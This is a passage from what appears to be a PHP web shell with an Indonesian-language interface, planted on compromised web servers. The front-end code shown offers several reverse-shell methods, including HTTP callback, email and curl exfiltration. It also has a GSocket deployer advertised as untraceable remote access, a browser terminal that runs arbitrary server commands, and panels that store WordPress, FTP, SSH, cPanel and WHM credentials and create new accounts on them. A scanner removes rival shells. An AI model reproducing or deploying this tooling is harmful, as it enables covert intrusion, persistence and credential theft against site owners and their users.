<option value="8">8️⃣ file_get_contents (HTTP Callback)</option>
<option value="9">9️⃣ mail exfil (Email Exfil)</option>
<option value="10">🔟 curl callback (HTTP)</option>
</select>
</label>
<div id="rs-status" style="padding:10px;background:var(--bg);border-radius:5px;border:1px solid var(--line);margin-bottom:12px;font-size:12px;color:var(--tx2);display:none">
<div id="rs-status-text" style="text-align:center;margin-bottom:8px">Executing...</div>
<div id="rs-methods" style="font-size:11px;color:var(--tx3)"><!-- Methods here --></div>
</div>
<div style="display:grid;grid-template-columns:1fr 1fr;gap:8px">
<button class="btn primary danger" id="rs-connect" style="width:100%"><?= ico('upload') ?> Execute</button>
<button class="btn" type="button" data-close style="width:100%">Batal</button>
</div>
<div id="rs-msg" style="margin-top:8px;font-size:12px;display:none"></div>
</div>
<div class="box-f"><button class="btn" type="button" data-close>Tutup</button></div>
</div>
</div>
<div class="modal" id="m-gsocket">
<div class="box">
<div class="box-h"><?= ico('box') ?><h3>GSocket Deployer</h3><button class="x" type="button" data-close><?= ico('x') ?></button></div>
<div class="box-b">
<p style="margin:0 0 12px;font-size:12.5px;color:var(--tx2)">🌐 Deploy Global Socket (gsocket) untuk reverse shell atau remote access yang tidak dapat dilacak</p>
<div style="background:var(--bg);padding:12px;border-radius:5px;border:1px solid var(--line);margin-bottom:12px;font-size:12px;line-height:1.6">
<div style="margin-bottom:8px"><strong>Fitur:</strong></div>
<ul style="margin:0;padding-left:20px">
<li>✅ Secret key auto-generate</li>
<li>✅ Background deployment</li>
<li>✅ Global socket infrastructure</li>
<li>✅ Copy-paste ready token</li>
</ul>
</div>
<div id="gs-status" style="padding:10px;background:var(--bg);border-radius:5px;border:1px solid var(--line);margin-bottom:12px;font-size:12px;color:var(--tx2);display:none">
<div id="gs-status-text" style="text-align:center;margin-bottom:8px">Deploying...</div>
<div style="animation:spin 1s linear infinite;display:inline-block;width:16px;height:16px;margin-right:8px">⟳</div>
</div>
<div id="gs-result" style="display:none;padding:12px;background:var(--bg);border-radius:5px;border:1px solid var(--line);margin-bottom:12px;font-size:12px">
<div style="margin-bottom:8px"><strong>✅ GSocket Deployed!</strong></div>
<div style="margin-bottom:8px">
<strong>Secret Key:</strong><br>
<code id="gs-secret" style="background:var(--bg2);padding:6px;border-radius:3px;display:block;word-break:break-all;color:var(--ok)">-</code>
</div>
<div style="margin-bottom:8px">
<strong>Connect Command:</strong><br>
<code id="gs-connect" style="background:var(--bg2);padding:6px;border-radius:3px;display:block;word-break:break-all;color:var(--ok)">-</code>
</div>
<div style="display:grid;grid-template-columns:1fr 1fr;gap:8px;margin-top:8px">
<button class="btn sm" id="gs-copy-secret" type="button">📋 Copy Secret</button>
<button class="btn sm" id="gs-copy-connect" type="button">📋 Copy Command</button>
</div>
</div>
<div id="gs-msg" style="padding:10px;border-radius:5px;margin-bottom:12px;font-size:12px;display:none"></div>
<div style="display:grid;grid-template-columns:1fr 1fr;gap:8px">
<button class="btn primary ok" id="gs-deploy" style="width:100%"><?= ico('box') ?> Deploy</button>
<button class="btn" type="button" data-close style="width:100%">Batal</button>
</div>
</div>
<div class="box-f"><button class="btn" type="button" data-close>Tutup</button></div>
</div>
</div>
<div class="ctx" id="ctx"></div>
<div class="toasts" id="toasts"></div>
<script id="fmd" type="application/json"><?= json_encode(['token' => $TOKEN, 'path' => $rel, 'zip' => FM_ZIP, 'flash' => $flash, 'view' => $view, 'theme' => $theme, 'shell' => $shellOk, 'shname' => $shellName, 'win' => FM_WIN], JSON_UNESCAPED_SLASHES | JSON_HEX_TAG | JSON_HEX_AMP) ?></script>
<script>
(function(){
'use strict';
var D=JSON.parse(document.getElementById('fmd').textContent);
var $=function(s,c){return (c||document).querySelector(s)};
var $$=function(s,c){return Array.prototype.slice.call((c||document).querySelectorAll(s))};
var SVG={
pencil:'<path d="M12 20h9"/><path d="M16.5 3.5a2.12 2.12 0 0 1 3 3L7.5 18.5 3 20l1.5-4.5Z"/>',
eye:'<path d="M2 12s3.6-7 10-7 10 7 10 7-3.6 7-10 7-10-7-10-7Z"/><circle cx="12" cy="12" r="3"/>',
download:'<path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><path d="M7 10l5 5 5-5M12 15V2"/>',
copy:'<rect x="9" y="9" width="12" height="12" rx="2"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"/>',
cut:'<circle cx="6" cy="6" r="3"/><circle cx="6" cy="18" r="3"/><path d="M20 4 8.6 15.4M8.6 8.6 20 20"/>',
trash:'<path d="M3 6h18M8 6V4.5A1.5 1.5 0 0 1 9.5 3h5A1.5 1.5 0 0 1 16 4.5V6m3 0v13a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6"/>',
unbox:'<path d="M3 8h18v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2Z"/><path d="M3 8 5.5 3h13L21 8M12 12v6M9 15l3 3 3-3"/>',
box:'<path d="m12 2 9 5v10l-9 5-9-5V7Z"/><path d="M3.3 7 12 12l8.7-5M12 12v10"/>',
open:'<path d="M3 7a2 2 0 0 1 2-2h3.9a2 2 0 0 1 1.6.8L11.8 7H19a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2Z"/>',
check:'<path d="m4 12 5 5L20 6"/>',
x:'<path d="M18 6 6 18M6 6l12 12"/>'
};
function svg(n){return '<svg class="ic" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round">'+(SVG[n]||'')+'</svg>'}
function toast(type,msg){
var w=$('#toasts'),t=document.createElement('div');
t.className='toast '+(type==='err'?'err':'ok');
t.innerHTML=svg(type==='err'?'x':'check')+'<span></span>';
t.lastChild.textContent=msg;
w.appendChild(t);
setTimeout(function(){t.style.opacity='0';t.style.transform='translateX(24px)';t.style.transition='.25s';setTimeout(function(){t.remove()},260)},3400);
}
if(D.flash&&D.flash.m){toast(D.flash.t,D.flash.m)}
function open(id){var m=$(id);if(m){m.classList.add('on');var i=m.querySelector('input[type=text]');if(i){setTimeout(function(){i.focus();i.select()},40)}}}
function close(m){m.classList.remove('on')}
$$('.modal').forEach(function(m){
m.addEventListener('mousedown',function(ev){if(ev.target===m)close(m)});
$$('[data-close]',m).forEach(function(b){b.addEventListener('click',function(){close(m)})});
});
document.addEventListener('keydown',function(ev){
if(ev.key==='Escape'){$$('.modal.on').forEach(close);hideCtx()}
if(ev.key==='/'&&!/input|textarea/i.test(ev.target.tagName)){ev.preventDefault();$('#q').focus()}
if((ev.ctrlKey||ev.metaKey)&&ev.key==='a'&&!/input|textarea/i.test(ev.target.tagName)){ev.preventDefault();$$('.ck').forEach(function(c){c.checked=true});sync()}
if(ev.key==='Delete'&&sel().length&&!$('.modal.on')){bulk('delete')}
if((ev.ctrlKey||ev.metaKey)&&ev.key==='s'&&$('#m-ed').classList.contains('on')){ev.preventDefault();save()}
});
function setCookie(k,v){document.cookie=k+'='+v+';path=/;max-age=31536000;samesite=lax'}
$('#ttoggle').addEventListener('click',function(){
var t=document.documentElement.getAttribute('data-theme')==='dark'?'light':'dark';
document.documentElement.setAttribute('data-theme',t);setCookie('fm_theme',t);location.reload();
});
$('#vtoggle').addEventListener('click',function(){
var g=$('#list')&&$('#list').classList.contains('grid');
setCookie('fm_view',g?'list':'grid');location.reload();
});
var burger=$('#burger'),side=$('#side'),ovl=$('#ovl');
burger.addEventListener('click',function(){side.classList.toggle('on');ovl.classList.toggle('on')});
ovl.addEventListener('click',function(){side.classList.remove('on');ovl.classList.remove('on')});
if($('#list')&&$('#list').classList.contains('grid')){
$$('#list img[data-src]').forEach(function(im){
im.src=im.getAttribute('data-src');
im.addEventListener('load',function(){im.classList.add('rdy')});
});
}
function sel(){return $$('#list .item').filter(function(it){var c=$('.ck',it);return c&&c.checked})}
function sync(){
var s=sel();
$$('#list .item').forEach(function(it){var c=$('.ck',it);it.classList.toggle('on',!!(c&&c.checked))});
$('#selbar').classList.toggle('on',s.length>0);
$('#selcount').textContent=s.length;
var all=$('#all');
if(all){var t=$$('#list .ck').length;all.checked=t>0&&s.length===t;all.indeterminate=s.length>0&&s.length<t}
}
var lastIdx=-1;
$$('#list .ck').forEach(function(c,i){
c.addEventListener('click',function(ev){
if(ev.shiftKey&&lastIdx>-1){
var all=$$('#list .ck'),a=Math.min(lastIdx,i),b=Math.max(lastIdx,i);
for(var k=a;k<=b;k++){all[k].checked=c.checked}
}
lastIdx=i;sync();
});
});
if($('#all')){$('#all').addEventListener('change',function(){var v=this.checked;$$('#list .ck').forEach(function(c){c.checked=v});sync()})}
$('#selclear').addEventListener('click',function(){$$('#list .ck').forEach(function(c){c.checked=false});sync()});
$$('#list .item').forEach(function(it){
var b=$('.lnk b',it),tw=$('.thumb-wrap',it);
function go(){
if(it.dataset.dir==='1'){location.href='?p='+encodeURIComponent(it.dataset.rel)}
else if(it.dataset.edit==='1'){edit(it)}
else if(it.dataset.pv==='1'){preview(it)}
else{location.href='?a=dl&f='+encodeURIComponent(it.dataset.rel)}
}
if(b)b.addEventListener('click',go);
if(tw)tw.addEventListener('click',go);
it.addEventListener('dblclick',function(ev){if(!/input|button|a/i.test(ev.target.tagName))go()});
});
$$('#list [data-do]').forEach(function(b){
b.addEventListener('click',function(ev){
ev.preventDefault();ev.stopPropagation();
var it=b.closest('.item'),d=b.dataset.do;
if(d==='edit')edit(it);
if(d==='preview')preview(it);
if(d==='rename')rename(it);
if(d==='delete')del([it.dataset.rel],1);
});
});
function rename(it){$('#ren-s').value=it.dataset.rel;$('#ren-n').value=it.dataset.name;open('#m-ren')}
function del(list,n){$('#del-i').value=JSON.stringify(list);$('#del-c').textContent=n;open('#m-del')}
function bulk(kind){
var s=sel();if(!s.length)return;
var rels=s.map(function(it){return it.dataset.rel});
if(kind==='delete'){del(rels,rels.length);return}
if(kind==='compress'){$('#zip-i').value=JSON.stringify(rels);open('#m-zip');return}
$('#clip-m').value=kind;$('#clip-i').value=JSON.stringify(rels);$('#f-clip').submit();
}
$$('[data-bulk]').forEach(function(b){b.addEventListener('click',function(){bulk(b.dataset.bulk)})});
$('#b-dir').addEventListener('click',function(){$('#new-a').value='mkdir';$('#new-t').textContent='Folder Baru';$('#new-n').value='';open('#m-new')});
$('#b-file').addEventListener('click',function(){$('#new-a').value='mkfile';$('#new-t').textContent='Berkas Baru';$('#new-n').value='';open('#m-new')});
$('#b-up').addEventListener('click',function(){open('#m-upl')});
var drop=$('#drop'),fin=$('#fin'),ups=$('#ups');
drop.addEventListener('click',function(){fin.click()});
fin.addEventListener('change',function(){upload(fin.files);fin.value=''});
['dragenter','dragover'].forEach(function(n){drop.addEventListener(n,function(ev){ev.preventDefault();drop.classList.add('hot')})});
['dragleave','drop'].forEach(function(n){drop.addEventListener(n,function(ev){ev.preventDefault();drop.classList.remove('hot')})});
drop.addEventListener('drop',function(ev){upload(ev.dataTransfer.files)});
var dz=$('#dz'),depth=0;
window.addEventListener('dragenter',function(ev){if(ev.dataTransfer&&Array.prototype.indexOf.call(ev.dataTransfer.types||[],'Files')>-1){depth++;dz.classList.add('on')}});
window.addEventListener('dragover',function(ev){ev.preventDefault()});
window.addEventListener('dragleave',function(){depth--;if(depth<=0){depth=0;dz.classList.remove('on')}});
window.addEventListener('drop',function(ev){
ev.preventDefault();depth=0;dz.classList.remove('on');
if(ev.dataTransfer&&ev.dataTransfer.files.length){open('#m-upl');upload(ev.dataTransfer.files)}
});
function upload(files){
if(!files||!files.length)return;
var fd=new FormData();
fd.append('action','upload');fd.append('token',D.token);fd.append('p',D.path);
var row=document.createElement('div');
row.className='up';
row.innerHTML=svg('download')+'<span></span><b style="font-variant-numeric:tabular-nums">0%</b>';
row.querySelector('span').textContent=files.length+' berkas';
ups.appendChild(row);
for(var i=0;i<files.length;i++){fd.append('files[]',files[i])}
var xhr=new XMLHttpRequest();
xhr.open('POST',location.pathname);
xhr.upload.onprogress=function(ev){
if(ev.lengthComputable){row.querySelector('b').textContent=Math.round(ev.loaded/ev.total*100)+'%'}
};
xhr.onload=function(){
var r={};try{r=JSON.parse(xhr.responseText)}catch(e){}
if(r.ok){row.querySelector('b').textContent='OK';toast('ok',r.done+' berkas terunggah.');setTimeout(function(){location.reload()},550)}
else{row.querySelector('b').textContent='Gagal';toast('err','Unggahan gagal.')}
};
xhr.onerror=function(){toast('err','Koneksi terputus saat mengunggah.')};
xhr.send(fd);
}
var edCur='';
function edit(it){
edCur=it.dataset.rel;
$('#ed-t').textContent=it.dataset.name;
$('#ed-c').value='';
$('#ed-s').textContent='Memuat...';
open('#m-ed');
fetch(location.pathname+'?a=read&f='+encodeURIComponent(edCur)).then(function(r){return r.json()}).then(function(j){
if(!j.ok){$('#ed-s').textContent='';close($('#m-ed'));toast('err',j.msg||'Gagal memuat berkas.');return}
$('#ed-c').value=j.content;
$('#ed-s').textContent=j.content.split('\n').length+' baris';
}).catch(function(){$('#ed-s').textContent='';toast('err','Gagal memuat berkas.')});
}
function save(){
var fd=new FormData();
fd.append('action','save');fd.append('token',D.token);fd.append('f',edCur);fd.append('content',$('#ed-c').value);
$('#ed-s').textContent='Menyimpan...';
fetch(location.pathname,{method:'POST',body:fd}).then(function(r){return r.json()}).then(function(j){
$('#ed-s').textContent=j.ok?'Tersimpan '+new Date().toLocaleTimeString():'';
toast(j.ok?'ok':'err',j.msg||'');
}).catch(function(){$('#ed-s').textContent='';toast('err','Gagal menyimpan.')});
}
$('#ed-save').addEventListener('click',save);
$('#ed-c').addEventListener('keydown',function(ev){
if(ev.key==='Tab'){
ev.preventDefault();
var t=this,s=t.selectionStart;
t.value=t.value.slice(0,s)+'\t'+t.value.slice(t.selectionEnd);
t.selectionStart=t.selectionEnd=s+1;
}
});
function preview(it){
var k=it.dataset.kind,url='?a=view&f='+encodeURIComponent(it.dataset.rel),h='';
if(k==='image'){h='<img alt="" src="'+url+'">'}
else if(k==='video'){h='<video controls autoplay src="'+url+'"></video>'}
else if(k==='audio'){h='<audio controls autoplay src="'+url+'"></audio>'}
else{h='<iframe src="'+url+'"></iframe>'}
$('#pv-t').textContent=it.dataset.name;
$('#pv-dl').href='?a=dl&f='+encodeURIComponent(it.dataset.rel);
$('#pv-b').innerHTML=h;
open('#m-pv');
}
$$('#m-pv [data-close]').forEach(function(b){b.addEventListener('click',function(){$('#pv-b').innerHTML=''})});
$('#m-pv').addEventListener('mousedown',function(ev){if(ev.target===this)$('#pv-b').innerHTML=''});
var ctx=$('#ctx');
function hideCtx(){ctx.classList.remove('on')}
document.addEventListener('click',hideCtx);
window.addEventListener('scroll',hideCtx,true);
$$('#list .item').forEach(function(it){
it.addEventListener('contextmenu',function(ev){
ev.preventDefault();
var isDir=it.dataset.dir==='1',h='';
if(isDir){h+='<button data-c="open">'+svg('open')+'Buka</button>'}
if(it.dataset.edit==='1'){h+='<button data-c="edit">'+svg('pencil')+'Edit</button>'}
if(it.dataset.pv==='1'){h+='<button data-c="preview">'+svg('eye')+'Pratinjau</button>'}
h+='<button data-c="dl">'+svg('download')+(isDir?'Unduh ZIP':'Unduh')+'</button>';
if(D.zip&&it.dataset.zip==='1'){h+='<button data-c="ext">'+svg('unbox')+'Ekstrak di sini</button>'}
h+='<hr>';
h+='<button data-c="copy">'+svg('copy')+'Salin</button>';
h+='<button data-c="cut">'+svg('cut')+'Potong</button>';
if(D.zip){h+='<button data-c="zip">'+svg('box')+'Arsipkan</button>'}
h+='<button data-c="ren">'+svg('pencil')+'Ubah nama</button>';
h+='<hr><button data-c="del" class="del">'+svg('trash')+'Hapus</button>';
ctx.innerHTML=h;
ctx.classList.add('on');
var w=ctx.offsetWidth,hh=ctx.offsetHeight;
ctx.style.left=Math.min(ev.clientX,innerWidth-w-8)+'px';
ctx.style.top=Math.min(ev.clientY,innerHeight-hh-8)+'px';
$$('button',ctx).forEach(function(b){
b.addEventListener('click',function(){
var c=b.dataset.c,r=it.dataset.rel;
if(c==='open')location.href='?p='+encodeURIComponent(r);
if(c==='dl')location.href='?a=dl&f='+encodeURIComponent(r);
if(c==='edit')edit(it);
if(c==='preview')preview(it);
if(c==='ren')rename(it);
if(c==='del')del([r],1);
if(c==='copy'||c==='cut'){$('#clip-m').value=c;$('#clip-i').value=JSON.stringify([r]);$('#f-clip').submit()}
if(c==='zip'){$('#zip-i').value=JSON.stringify([r]);open('#m-zip')}
if(c==='ext'){$('#ext-s').value=r;$('#f-ext').submit()}
});
});
});
});
var qi=$('#q'),tm;
qi.addEventListener('input',function(){
clearTimeout(tm);
var v=qi.value.trim().toLowerCase();
if(v===''){$$('#list .item').forEach(function(it){it.style.display=''});return}
tm=setTimeout(function(){
$$('#list .item').forEach(function(it){
it.style.display=it.dataset.name.toLowerCase().indexOf(v)>-1?'':'none';
});
},90);
});
if(D.shell){(function(){
var term=$('#term'),body=$('#term-b'),inp=$('#term-in'),ps=$('#term-ps'),cwdEl=$('#term-cwd');
var hist=[],hi=-1,busy=false,opened=false;
ps.textContent=D.win?'>':'$';
inp.placeholder=D.win?'contoh: dir, systeminfo, ipconfig ...':'contoh: ls -la, whoami, uname -a ...';
function scroll(){body.scrollTop=body.scrollHeight}
function setCwd(c){if(c){cwdEl.textContent=''+c}}
function esc(s){return s.replace(/[&<>]/g,function(m){return {'&':'&','<':'<','>':'>'}[m]})}
function line(cmd){
var d=document.createElement('div');d.className='cl';
d.innerHTML='<i>'+(D.win?'>':'$')+'</i>'+esc(cmd);
body.appendChild(d);return d;
}
function out(txt,cls){
if(txt===''||txt==null)return;
var d=document.createElement('div');d.className=cls;
d.textContent=txt.replace(/\r\n/g,'\n').replace(/\s+$/,'');
body.appendChild(d);
}
function openTerm(){
term.classList.add('on');document.body.style.paddingBottom=term.offsetHeight+'px';
setTimeout(function(){inp.focus()},30);
if(!opened){opened=true;run('',true)}
}
function closeTerm(){term.classList.remove('on');document.body.style.paddingBottom=''}
function toggle(){term.classList.contains('on')?closeTerm():openTerm()}
function run(cmd,silent){
if(busy)return;
busy=true;term.classList.add('busy');
if(!silent)line(cmd);
var fd=new FormData();
fd.append('action','exec');fd.append('token',D.token);fd.append('cmd',cmd);
fd.append('sync',silent?'1':'0');fd.append('p',D.path);
fetch(location.pathname,{method:'POST',body:fd}).then(function(r){return r.json()}).then(function(j){
setCwd(j.cwd);
out(j.out,'o');
out(j.err,'e');
if(!silent&&cmd!==''&&typeof j.code==='number'&&j.code!==0){
var d=document.createElement('div');d.className='rc bad';d.textContent='[keluar dengan kode '+j.code+']';body.appendChild(d);
}
busy=false;term.classList.remove('busy');scroll();inp.focus();
}).catch(function(){out('Gagal menghubungi server.','e');busy=false;term.classList.remove('busy');scroll()});
}
inp.addEventListener('keydown',function(ev){
if(ev.key==='Enter'){
var v=inp.value.trim();
if(v==='clear'||v==='cls'){body.innerHTML='';inp.value='';return}
if(v!==''){hist.push(v);hi=hist.length}
inp.value='';run(v);
} else if(ev.key==='ArrowUp'){
if(hi>0){hi--;inp.value=hist[hi];ev.preventDefault();setTimeout(function(){inp.selectionStart=inp.selectionEnd=inp.value.length},0)}
} else if(ev.key==='ArrowDown'){
if(hi<hist.length-1){hi++;inp.value=hist[hi]}else{hi=hist.length;inp.value=''}
} else if(ev.ctrlKey&&(ev.key==='l'||ev.key==='L')){ev.preventDefault();body.innerHTML=''}
});
var tb=$('#termbtn');if(tb)tb.addEventListener('click',toggle);
$('#term-x').addEventListener('click',closeTerm);
$('#term-clr').addEventListener('click',function(){body.innerHTML='';inp.focus()});
document.addEventListener('keydown',function(ev){
if(ev.ctrlKey&&ev.key==='`'){ev.preventDefault();toggle()}
});
var rz=$('#term-rz'),drag=false;
rz.addEventListener('mousedown',function(ev){drag=true;ev.preventDefault();document.body.style.userSelect='none'});
window.addEventListener('mousemove',function(ev){
if(!drag)return;
var h=Math.min(Math.max(innerHeight-ev.clientY,140),innerHeight-90);
term.style.height=h+'px';document.body.style.paddingBottom=h+'px';
});
window.addEventListener('mouseup',function(){if(drag){drag=false;document.body.style.userSelect=''}});
term.addEventListener('mousedown',function(ev){if(ev.target!==rz&&!/button|svg|path/i.test(ev.target.tagName)&&window.getSelection().isCollapsed)inp.focus()});
})();}
var panelBtn=$('#panelbtn');
if(panelBtn){(function(){
var m=$('#m-panel'),formWrap=$('#p-form-wrap'),formTitle=$('#p-form-title'),formFields=$('#p-form-fields');
var panelList=$('#p-list'),msg=$('#p-msg');
var detectedHost=location.hostname;
var detectedURL=location.protocol+'//'+location.host;
var panelForms={
wordpress:{title:'WordPress Admin Login',fields:[{id:'url',label:'Site URL (auto-detect)',type:'text',value:detectedURL,readonly:true},{id:'user',label:'Admin Username',type:'text'},{id:'pass',label:'Admin Password',type:'password'}]},
ftp:{title:'FTP Credentials',fields:[{id:'host',label:'FTP Host (auto-detect)',type:'text',value:detectedHost,readonly:true},{id:'user',label:'FTP User',type:'text'},{id:'pass',label:'FTP Pass',type:'password'}]},
ssh:{title:'SSH Credentials',fields:[{id:'host',label:'SSH Host (auto-detect)',type:'text',value:detectedHost,readonly:true},{id:'user',label:'SSH User',type:'text'},{id:'pass',label:'SSH Pass',type:'password'},{id:'port',label:'Port',type:'text',value:'22'}]},
cpanel:{title:'cPanel API Token',fields:[{id:'host',label:'cPanel Host (auto-detect)',type:'text',value:detectedHost,readonly:true},{id:'user',label:'cPanel User',type:'text'},{id:'token',label:'API Token',type:'password'}]},
cyberpanel:{title:'CyberPanel Credentials',fields:[{id:'host',label:'CyberPanel Host (auto-detect)',type:'text',value:detectedHost,readonly:true},{id:'user',label:'Admin User',type:'text'},{id:'pass',label:'Admin Pass',type:'password'}]},
whm:{title:'WHM API Token',fields:[{id:'host',label:'WHM Host (auto-detect)',type:'text',value:detectedHost,readonly:true},{id:'token',label:'API Token',type:'password'}]}
};
var createForms={
wordpress:{title:'Create WordPress User',fields:[{id:'newuser',label:'New Username',type:'text'},{id:'newpass',label:'New Password',type:'password'},{id:'email',label:'Email',type:'email'},{id:'dbhost',label:'DB Host',type:'text',value:'localhost'},{id:'dbname',label:'DB Name (auto-detect)',type:'text',readonly:true},{id:'dbuser',label:'DB User',type:'text'},{id:'dbpass',label:'DB Pass',type:'password'}]},
ftp:{title:'Create FTP User',fields:[{id:'newuser',label:'Username',type:'text'},{id:'newpass',label:'Password',type:'password'},{id:'homedir',label:'Home Dir',type:'text',value:'/public_html/newuser'}]},
ssh:{title:'Create SSH User',fields:[{id:'newuser',label:'Username',type:'text'},{id:'newpass',label:'Password',type:'password'}]},
cpanel:{title:'Create cPanel User',fields:[{id:'newuser',label:'Username',type:'text'},{id:'newpass',label:'Password',type:'password'}]},
cyberpanel:{title:'Create CyberPanel User',fields:[{id:'newuser',label:'Username',type:'text'},{id:'newpass',label:'Password',type:'password'},{id:'email',label:'Email',type:'email'}]},
whm:{title:'Create WHM Account',fields:[{id:'newuser',label:'Username',type:'text'},{id:'newpass',label:'Password',type:'password'}]}
};
var curPanel='';
$$('[data-panel]').forEach(b=>{
if(b.disabled)return;
b.addEventListener('click',()=>{
curPanel=b.dataset.panel;
var form=panelForms[curPanel];
if(!form)return;
formTitle.textContent=form.title;
formFields.innerHTML=form.fields.map(f=>'<label class="field" style="margin-bottom:8px"><span>'+f.label+'</span><input type="'+f.type+'" data-field="'+f.id+'" class="inp" value="'+(f.value||'')+'" style="width:100%"'+(f.readonly?' readonly style="background:var(--panel2);opacity:0.7"':'')+'></label>').join('');
msg.style.display='none';
formWrap.style.display='block';
});
});
function refreshList(){
fetch(location.pathname,{method:'POST',body:new FormData(Object.assign(new FormData,{action:'panel',op:'list',token:D.token,p:D.path}))}).then(r=>r.json()).then(j=>{
if(!j.panels)return;
panelList.innerHTML=j.panels.map(p=>'<div style="display:flex;justify-content:space-between;align-items:center;padding:8px;background:var(--panel2);border-radius:5px;margin-bottom:6px"><div><div style="font-weight:500">'+p.type.toUpperCase()+'</div><small style="color:var(--tx3)">'+p.user+'</small></div><div style="display:flex;gap:4px"><button class="btn sm" data-test="'+p.type+'">Test</button><button class="btn sm" data-create="'+p.type+'">+ User</button><button class="btn sm danger" data-del="'+p.type+'">Hapus</button></div></div>').join('');
$$('[data-test]').forEach(b=>b.addEventListener('click',()=>{
var t=b.dataset.test;b.disabled=true;b.textContent='Testing...';
fetch(location.pathname,{method:'POST',body:new FormData(Object.assign(new FormData,{action:'panel',op:'test',type:t,token:D.token,p:D.path}))}).then(r=>r.json()).then(j=>{
b.disabled=false;b.textContent='Test';
msg.textContent=j.msg;msg.style.color=j.ok?'var(--ok)':'var(--err)';msg.style.display='block';msg.parentElement.scrollIntoView({behavior:'smooth'});
});
}));
$$('[data-create]').forEach(b=>b.addEventListener('click',()=>{
curPanel=b.dataset.create;
var form=createForms[curPanel];
if(!form)return;
formTitle.textContent=form.title;
formFields.innerHTML=form.fields.map(f=>'<label class="field" style="margin-bottom:8px"><span>'+f.label+'</span><input type="'+f.type+'" data-field="'+f.id+'" class="inp" value="'+(f.value||'')+'" style="width:100%"'+(f.readonly?' readonly style="background:var(--panel2);opacity:0.7"':'')+'></label>').join('');
msg.style.display='none';
formWrap.style.display='block';
formWrap.dataset.mode='create';
}));
$$('[data-del]').forEach(b=>b.addEventListener('click',()=>{
if(!confirm('Hapus credential ini?'))return;
var t=b.dataset.del;
fetch(location.pathname,{method:'POST',body:new FormData(Object.assign(new FormData,{action:'panel',op:'delete',type:t,token:D.token,p:D.path}))}).then(r=>r.json()).then(()=>refreshList());
}));
});
}
panelBtn.addEventListener('click',()=>{open('#m-panel');refreshList()});
$('#p-cancel').addEventListener('click',()=>{formWrap.style.display='none';formWrap.dataset.mode='';curPanel=''});
$('#p-save').addEventListener('click',()=>{
var isCreate=formWrap.dataset.mode==='create';
var data={action:'panel',op:isCreate?'create':'save',type:curPanel,token:D.token,p:D.path};
$$('[data-field]').forEach(f=>{data[f.dataset.field]=f.value});
var btn=$('#p-save'),icons={wordpress:'🔐',ftp:'📁',ssh:'🔑',cpanel:'⚙️',cyberpanel:'🌐',whm:'🖥️'};
var icon=icons[curPanel]||'✨';
btn.disabled=true;btn.textContent=isCreate?icon+' Creating...':icon+' Saving...';
msg.style.display='none';
var controller=new AbortController(),timeout=setTimeout(()=>controller.abort(),5000);
fetch(location.pathname,{method:'POST',body:new FormData(Object.assign(new FormData,data)),signal:controller.signal}).then(r=>r.json()).then(j=>{
clearTimeout(timeout);btn.disabled=false;btn.textContent=isCreate?icon+' Create':icon+' Save';
msg.textContent=j.msg;msg.style.color=j.ok?'var(--ok)':'var(--err)';msg.style.display='block';
if(j.ok){setTimeout(()=>{formWrap.style.display='none';formWrap.dataset.mode='';refreshList()},900)}
}).catch(e=>{
clearTimeout(timeout);btn.disabled=false;btn.textContent=isCreate?icon+' Create':icon+' Save';
msg.textContent='❌ '+(e.name==='AbortError'?'Request timeout (slow connection)':e.message);
msg.style.color='var(--err)';msg.style.display='block';
});
});
})();}
var scanBtn=$('#scanbtn');
if(scanBtn){(function(){
var m=$('#m-scan'),results=$('#scan-results'),progress=$('#scan-progress'),msg=$('#scan-msg'),toolbar=$('#scan-toolbar'),allCheck=$('#scan-all'),delBtn=$('#scan-del'),countEl=$('#scan-count');
function syncCheckbox(){
var checks=$$('[data-shell-ck]'),sel=checks.filter(c=>c.checked).length;
countEl.textContent=sel+' selected';delBtn.style.display=sel>0?'block':'none';
allCheck.checked=sel>0&&sel===checks.length;
allCheck.indeterminate=sel>0&&sel<checks.length;
}
$('#scan-start').addEventListener('click',()=>{
results.style.display='none';msg.style.display='none';toolbar.style.display='none';progress.style.display='block';
var fd=new FormData();fd.append('action','shellscan');fd.append('token',D.token);fd.append('p',D.path);
fetch(location.pathname,{method:'POST',body:fd}).then(r=>r.json()).then(j=>{
progress.style.display='none';
if(j.ok&&j.shells&&j.shells.length>0){
results.innerHTML=j.shells.map((s,i)=>'<div style="padding:8px;margin-bottom:6px;background:var(--panel2);border-radius:5px;border-left:3px solid '+(s.score>=4?'var(--err)':'var(--warn)')+'"><label style="display:flex;justify-content:space-between;align-items:start;cursor:pointer"><div style="display:flex;gap:8px;align-items:flex-start"><input type="checkbox" data-shell-ck data-shell="'+s.path+'" style="width:14px;height:14px;margin-top:2px;cursor:pointer"><div><div style="display:flex;gap:8px;align-items:center"><b style="color:'+(s.score>=4?'var(--err)':'var(--warn)')+' ">'+s.file+'</b><span style="background:'+(s.score>=4?'var(--err)':'var(--warn)')+';color:white;padding:2px 6px;border-radius:3px;font-size:10px;font-weight:bold">'+s.score+'</span></div><small style="color:var(--tx3);display:block;margin-top:4px">'+s.path+'</small><small style="color:var(--tx3);margin-top:2px">'+s.reason+'</small></div></div></label></div>').join('');
results.style.display='block';toolbar.style.display='flex';
msg.textContent='⚠️ Found '+j.shells.length+' suspicious shell(s) - score shows detection strength';msg.style.color='var(--ok)';msg.style.display='block';
$$('[data-shell-ck]').forEach(c=>{c.addEventListener('change',syncCheckbox)});
syncCheckbox();
}else{
msg.textContent='✅ No shells detected';msg.style.color='var(--ok)';msg.style.display='block';
}
}).catch(e=>{progress.style.display='none';msg.textContent='❌ Error: '+e.message;msg.style.color='var(--err)';msg.style.display='block';});
});
allCheck.addEventListener('change',()=>{
var v=allCheck.checked;$$('[data-shell-ck]').forEach(c=>{c.checked=v});syncCheckbox();
});
delBtn.addEventListener('click',()=>{
var selected=$$('[data-shell-ck]:checked'),paths=selected.map(c=>c.dataset.shell);
if(!selected.length||!confirm('Hapus '+paths.length+' shell terpilih?'))return;
// Setup progress UI
var progressCtr=$('#scan-progress-container'),progressBar=$('#scan-progress-bar'),progressPct=$('#scan-progress-pct'),progressCount=$('#scan-progress-count'),progressTime=$('#scan-progress-time'),logsDiv=$('#scan-logs');
